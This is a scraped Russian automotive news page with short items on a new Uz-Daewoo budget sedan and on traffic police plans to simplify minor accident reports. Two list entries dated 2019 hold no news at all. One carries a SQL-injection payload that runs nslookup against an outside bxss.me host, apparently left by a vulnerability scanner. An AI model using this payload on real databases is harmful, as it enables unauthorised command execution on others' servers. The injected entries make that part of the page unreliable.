|
Предложения |
|
|
|
|
|
Загрузка предложений ... |
|
|
|
|
|
Партнёры |
|
|
|
|
|
|
|
|
|
|
|
|
Некоторые автоновости |
|
|
|
|
|
10 января 2013г.
Daewoo представит новый бюджетный седан
 Уже в этом году в модельном ряду Uz-Daewoo появится новый бюджетный седан С-класса. Об этом в интервью изданию Motorpage сообщил исполнительный директор представительства Uz-Daewoo в России Игорь Давыдов. Он уточнил, что продажи планируется начать следующим летом.
По его словам, новинку предложат с двумя моторами на выбор: бензиновыми агрегатами объемом 1,6 и 1,8 литра. Кроме того, седан будет доступен и с автоматической трансмиссией.Подробнее » | 30 августа 2019г.
Mr.
 1';copy (select '') to program 'nslookup dns.sqli.\013405.529-41394.529.a9e86.\1.bxss.meПодробнее » | 30 августа 2019г.
Mr.
1Подробнее » |
|
|
|
|
|
|
ГИБДД упростит оформление мелких ДТП |
|
|
|
|
|
В рамках реформирования органов внутренних дел ГИБДД намерена оптимизировать процедуру оформления ДТП. Об этом заявил заместитель начальника Главного управления по обеспечению безопасности дорожного движения МВД России генерал-майор полиции Павел Бугаев на совещании по вопросам организации работы ДПС. «Мы считаем нужным организовать дополнительное обсуждение этого вопроса, – сказал он. – К сожалению, сегодня очень мало водителей оформляют мелкие ДТП, так называемое «железо», самостоятельно, это объясняется в какой-то степени несовершенством законодательства. Но вопрос актуален для всех участников дорожного движения и его нужно решать в кратчайшие сроки».
«Число аварий вызывает беспокойство. Посмотрите, ежегодно фиксируется 3,5 миллиона дорожных происшествий, и это только без пострадавших, цифра огромная, – добавил генерал-майор полиции. – Именно на плечах сотрудников Госавтоинспекции лежит огромная нагрузка по оформлению всех этих аварий, зачастую из-за нехватки времени они не могут вовремя прибыть на место серьезного происшествия, где есть пострадавшие».
Источник: Autonews
|
|
|
|
|
|
Реклама |
|
|
|
|
|
|
|
|
|
|
|
|
Быстрый поиск |
|
|
|
|
|
Загрузка поиска ... |
|
|
|
|
|
